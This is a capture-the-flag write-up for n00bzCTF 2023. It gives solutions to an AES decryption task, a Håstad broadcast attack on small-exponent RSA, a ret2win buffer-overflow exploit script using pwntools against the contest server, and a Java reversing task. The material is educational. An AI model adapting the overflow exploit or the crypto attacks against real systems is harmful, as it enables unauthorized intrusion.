Hello all! I played n00bzCTF 2023 which was happened from 09 June to 11 June. I played it with my team Invaders0x1.
Lets see the solutions to the challenges I solved.
Crypto
Description :
My cousin-sister messaged me on Instagram that she has got some text FOqxc90aMQZydCQb2MUm5tj4kRIxxVeCDWzAANfOrr8JItHYneUHhSV0awvQIo/8E1LtfYm/+VVWz0PDK6MXp38BWHoFDorhdS44DzYj9CQ= and a text file in which something like String password: aesiseasy and Salt: saltval was writt,en can you help her to decode the weird text?
Attached Files : [enc.java]
enc.java
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;
public class AESChallenge {
private static final String AES_ALGORITHM = "AES";
private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
private static final int ITERATIONS = 10000;
private static final int KEY_SIZE = 256;
private static SecretKey generateKey(String password, byte[] salt) throws Exception {
KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
SecretKey tmp = factory.generateSecret(spec);
return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
}
private static String encrypt(String plainText, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encryptedBytes = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(encryptedBytes);
}
public static void main(String[] args) {
String flag = "REDACTED";
String password = "aesiseasy";
byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);
try {
SecretKey key = generateKey(password, salt);
System.out.println(key);
String encryptedFlag = encrypt(flag, key);
System.out.println("Encrypted Flag: " + encryptedFlag);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Changed the file to AESChallenge.java
to match with the class name.
Observations :
1. The main method has the variables password, salt.
2. The encrypt function requires two arguements (flag,key)
3. Key is generated by generatekey method which takes two arguments (password,salt)
4. The encrypted flag with the key from generatekey method is converted to base64
So, we have to decrypt the AES generated ciphertext with the key, generated by generatekey method.
We have salt and password to generate the key using generatekey method.
private static SecretKey generateKey(String password, byte[] salt) throws Exception {
KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
SecretKey tmp = factory.generateSecret(spec);
return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
}
With these observations I wrote this solve.java which will print the flag for us.
solve.java
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;
public class solve {
private static final String AES_ALGORITHM = "AES";
private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
private static final int ITERATIONS = 10000;
private static final int KEY_SIZE = 256;
private static SecretKey generateKey(String password, byte[] salt) throws Exception {
KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
SecretKey tmp = factory.generateSecret(spec);
return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
}
private static String decrypt(String encryptedText, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] encryptedBytes = Base64.getDecoder().decode(encryptedText);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
public static void main(String[] args) {
String ct = "FOqxc90aMQZydCQb2MUm5tj4kRIxxVeCDWzAANfOrr8JItHYneUHhSV0awvQIo/8E1LtfYm/+VVWz0PDK6MXp38BWHoFDorhdS44DzYj9CQ=";
String password = "aesiseasy";
byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);
try {
SecretKey key = generateKey(password, salt);
System.out.println(key);
String decryptedFlag = decrypt(ct,key);
System.out.println("decrypted Flag: " + decryptedFlag);
}
catch (Exception e) {
e.printStackTrace();
}
}
}
Flag : n00bz{1_d0n't_l1k3_a3s_ch4ll3ng3_d0_y0u_lik3?_41703148ed8347adbe238ffbdbaf5e16}
RSA
Description :
Good old RSA!
Note: The server is not slow, but I have added sleep(0.5) to discourage server-overloading
Challenge : nc challs.n00bzunit3d.xyz 2069
Connecting to remote server prints the e,ct,n
mj0ln1r@Linux:/$ nc challs.n00bzunit3d.xyz 2069
e = 17
ct = 1918419302512753057026648318712029212067010068881776194471911962400069730845220554390418545347081265589418087805348825538165335709592014756820975351562055168955223920260866129238091331258878862319021642420202215258606989689113199126395237258044609779214578192243449718779680984760821625858488092089359110586029718810681216404967086632022871285987871728190628649296724396627035003944211094642018641120662826716949842719001445471014439720788221673768914466721673069869698075926557748651966891705424368924478424517777871952868261029557663107718103335011473285197254398042919715068012844634957684894193434195869239068361
n = 14832509636507518025719146267736016746158063550394935168412013748335364245353808905385111963238312617375598452528117469774547055863886693759109386524161524612219187310620642861751727390080228470399915831962109423586699463124268161225204497782468596150935245876004207368769051381898376188367523380538876599098718935048131575812284079693918194244033223432954665821748431737895979497331176489236217817178707602095903865212414896508729061545245146796357745605104159549612795957395255113962822207738386196802129262229049641241406827025758240064180040710051728573495643489157496185047749682432777350823891031789833038567873
mj0ln1r@Linux:/$ nc challs.n00bzunit3d.xyz 2069
e = 17
ct = 6447479954206712453684049812027099180350107523878886559254782127138060412563172212349826966608914764574556165604677352743246072017379611338487049428209406433401510022231968362832812309941039444272178839928281693494111249162879326560937674167247955719542277558712981385601628687847446245832213044736093542641210520134610326729270324684879617665915452957893305915041558672493582653588401873353410692223555925326728236048779812407143165135068210994332362942264737082889801514367932166315908399995278888726027572063051830808932920231748324587587571382293739656878823511803124406070423703233735551773867411349962410027067
n = 9143151830717182052453590085412689929033277379344799430177196398722726776018026343096576694230511985079459043484573394967898934809585827166269500895380393285269881528194291832047352577459413344409493792541600865505980864548382947581835053230490436884828168850991984975137721737418032909519631817776834105704909176140746238694512870331896652202760838235320128117091683820284458749969419156010843857076058164726947867143672197927426528810425546295393373613926717047266991925845444620101181260763809774718637475254501710229446293016879391010346082471422865608808948260049617262947181947600762037856135644565615356696271
Observations :
1. As we can see, server printing different ct,n and same e=17 for each new connection.
2. e was too small
3. No common factors between two n's (common modulus attack wont applied)
4. Plaintext was encrypted with same e=17 with different modulus
By the observations the e=17
looks small. The message in RSA is simply the e'th root of ct
, when the e is small enough it would be easy to compute without the private exponent.
Here the e=17 is small enough to do it,
17'th root of initial ct gave us the error, that is it has no perferct 17'th root.
But,
1. Plaintext was same everytime
2. Different modulus(n1,n2,..)
3. Different ciphertext(c1,c2,..)
We can find the solution to the above system that is C which satisfies each equation
(C = c1 mod n1), (C = c2 mod n2),....
So, we can use the Chinese Remaider Theorem
to solve for the common C
which can fit in all the conditions.
After finding the C
we can apply the 17'th root of C
to get the plaintext.
Here is my solve.py
solve.py
import gmpy2
gmpy2.get_context().precision = 4096
from binascii import unhexlify
from functools import reduce
from gmpy2 import root
# HÃ¥stad's Broadcast Attack
EXPONENT = 17
c1 = 7946043177938634894468433929073404673651875154647156508100839891449515149691686945995056602586944710327623300157734254965701993446310048878003244839505812174155025756246399456396630569716457360433801430476106400774865547279377861969979287733835750064754554220594527757651036422858155930651992095851602614627439063339245596216907989179295201194329197537828395638432777873627494874484442644162351506092674786914498798694380659404260196539645455287503433027367549309610352113572801657272668352732212443182638961092249449922085083328639368402363873369662072747755828243417869725889727969222941496766161784323302414216954
c2 = 12959573845685261486267397567112966488661691735414128259078491897996382414767291825628759526056897899253181537775863221611499490716812639282748479179124748696317221066942560992747945889171265338732860145466990785636517790722281378157380384521300704615814738956601099155119020464363668056528769776407040455062919016852662191860740902289863302299951158808734895396092718815039921735596667791228501328047526301396156478459414130901590537241875751813223439101873009005799006566824944416318134509872895247494905723306736031607559813033586425623787957866825634139736990176386467235744665177488925198627943203730320042768887
n1 = 17034440041769803013819987353259492052814047368802180553596332096232727428488407203629163872404893931800862659994426997044166691466452481674980731442588400925186076344115666523148148851729508568172248290848201341876249300702580615286136569268722103616878519428285998872272711491239079124967747524881729763554344521296227022124958916574705766479633287283765067948684030317008945004545691849344955755112782085223696765257525483464996334206039708539941173320021312903082525289861923741817167776417841751055018102296324303346467734670876150247432996078826945704561216298507441793730648326675429211605408858351177990334143
n2 = 17331299556630461029385232478393964321767599062981408558650170147730226667533079244038574631307826365292089835102067792983012928286988717407754509869684529210063898492076207785486047907744775354150474153932697409696268275174493130991110443360842923132578722743840846113197396873571123689245296146539892440667216842709178563761357112687102468939184745813114523671087689869743503793819274991554446204103603913471104472290485745834733456528879928652595610724965467569123797267442161308276102082738205391230941134328580245092921418147467984772008789925177804751341454022407072603374059077834470295173426162921767901044463
def chinese_remainder_theorem(items):
# Determine N, the product of all n_i
N = 1
for a, n in items:
N *= n
# Find the solution (mod N)
result = 0
for a, n in items:
m = N // n
r, s, d = extended_gcd(n, m)
if d != 1:
raise "Input not pairwise co-prime"
result += a * s * m
# Make sure we return the canonical solution.
return result % N
def extended_gcd(a, b):
x, y = 0, 1
lastx, lasty = 1, 0
while b:
a, (q, b) = b, divmod(a, b)
x, lastx = lastx - q * x, x
y, lasty = lasty - q * y, y
return (lastx, lasty, a)
def mul_inv(a, b):
b0 = b
x0, x1 = 0, 1
if b == 1:
return 1
while a > 1:
q = a // b
a, b = b, a % b
x0, x1 = x1 - q * x0, x0
if x1 < 0:
x1 += b0
return x1
if __name__ == '__main__':
C = chinese_remainder_theorem([(c1, n1), (c2, n2)])
M = int(root(C, 17))
M = hex(M)[2:]
print(unhexlify(M).decode('utf-8'))
# n00bz{5m4ll_3_1s_n3v3r_g00d!}
Flag : n00bz{5m4ll_3_1s_n3v3r_g00d!}
PWN
Description :
Welcome to the series of 3 pwn challenges!
Challenge : nc challs.n00bzunit3d.xyz 35932
Attached Files : [pwn1]
By disasembling pwn1 binary in Binary Ninja, get to know that there were a win()
function which is not called by any method. But by calling the win() will give us the shell of the system.
Here is the objdump of pwn1
mj0ln1r@Linux:/$ objdump -d pwn1
00000000004011fb <main>:
4011fb: f3 0f 1e fa endbr64
4011ff: 55 push %rbp
401200: 48 89 e5 mov %rsp,%rbp
401203: 48 83 ec 40 sub $0x40,%rsp
401207: b8 00 00 00 00 mov $0x0,%eax
40120c: e8 85 ff ff ff call 401196 <init>
401211: 48 8d 05 ec 0d 00 00 lea 0xdec(%rip),%rax # 402004 <_IO_stdin_used+0x4>
401218: 48 89 c7 mov %rax,%rdi
40121b: e8 50 fe ff ff call 401070 <puts@plt>
401220: 48 8b 15 49 2e 00 00 mov 0x2e49(%rip),%rdx # 404070 <stdin@GLIBC_2.2.5>
401227: 48 8d 45 c0 lea -0x40(%rbp),%rax
40122b: be 50 00 00 00 mov $0x50,%esi
401230: 48 89 c7 mov %rax,%rdi
401233: e8 58 fe ff ff call 401090 <fgets@plt>
401238: 48 8d 05 dc 0d 00 00 lea 0xddc(%rip),%rax # 40201b <_IO_stdin_used+0x1b>
40123f: 48 89 c7 mov %rax,%rdi
401242: e8 39 fe ff ff call 401080 <system@plt>
401247: 90 nop
401248: c9 leave
401249: c3 ret
000000000040124a <win>:
40124a: f3 0f 1e fa endbr64
40124e: 55 push %rbp
40124f: 48 89 e5 mov %rsp,%rbp
401252: 57 push %rdi
401253: 48 8d 05 d3 0d 00 00 lea 0xdd3(%rip),%rax # 40202d <_IO_stdin_used+0x2d>
40125a: 48 89 c7 mov %rax,%rdi
40125d: e8 1e fe ff ff call 401080 <system@plt>
401262: 90 nop
401263: 5d pop %rbp
401264: c3 ret
So, It is a ret2win
challenge.
Observations :
1. The offset size was 64 (By trail and error check for segementation fault)
2. Return instruction address in main `0x401249`
3. Address of win() `0x40124a`
4. The binary followed little-endian format.
So, we have to send the offset first combined with the ret
instruction address followed by win()
address.
Here is the complete solve.py
solve.py
from pwn import *
r = remote("challs.n00bzunit3d.xyz", 35932)
payload = b'A'*64
payload += p64(0x401249) # ret address
payload +=p64(0x40124a) # address to win() function
print(payload)
r.sendline(payload)
r.interactive()
# n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}
Flag : n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}
REV
EZrev
Description :
Rev is EZ!
Attached Files : [EZrev.class]
Decompiled the EZrev.class file to EZrev.java
EZrev.java
import java.util.Arrays;
//
// Decompiled by Procyon v0.5.36
//
public class EZrev
{
public static void main(final String[] array) {
if (array.length != 1) {
System.out.println("L");
return;
}
final String s = array[0];
if (s.length() != 31) {
System.out.println("L");
return;
}
final int[] array2 = s.chars().toArray();
for (int i = 0; i < array2.length; ++i) {
if (i % 2 == 0) {
array2[i] = (char)(array2[i] ^ 0x13);
}
else {
array2[i] = (char)(array2[i] ^ 0x37);
}
}
for (int j = 0; j < array2.length / 2; ++j) {
if (j % 2 == 0) {
final int n = array2[j] - 10;
array2[j] = (char)(array2[array2.length - 1 - j] + 20);
array2[array2.length - 1 - j] = (char)n;
}
else {
array2[j] = (char)(array2[j] + 30);
}
}
if (Arrays.equals(array2, new int[] { 130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 115 })) {
System.out.println("W");
}
else {
System.out.println("L");
}
}
}
Observations :
1. The command line input `String[] array` was passed to the main method.
2. The input String array converted to a dictionary of number's
3. The converted number dictionary is then compared with { 130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 115 }
4. If the converted inputted string is equals to the above dictionary the check was successful.
5. So, We have to reverse the dictionary of numbers which are used in the comparision in order to get the initial string characters.
We can see that the flag len is 31
. First we have to reverse the second for loop then the first for loop to get the flag characters.
solve.py
final = [130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 115]
for j in range(len(final)//2):
if j % 2 == 0:
n = final[j]-20
final[j] = final[len(final)-1-j] + 10
final[len(final)-1-j] = n
else:
final[j] = final[j]-30
# print(final)
for i in range(len(final)):
if i % 2 == 0:
final[i] = final[i] ^ 0x13
else:
final[i] = final[i] ^ 0x37
print(final)
for i in final:
print(chr(i),end="")
# n00bz{r3v_1s_s0_e4zy_r1ght??!!}
Flag : n00bz{r3v_1s_s0_e4zy_r1ght??!!}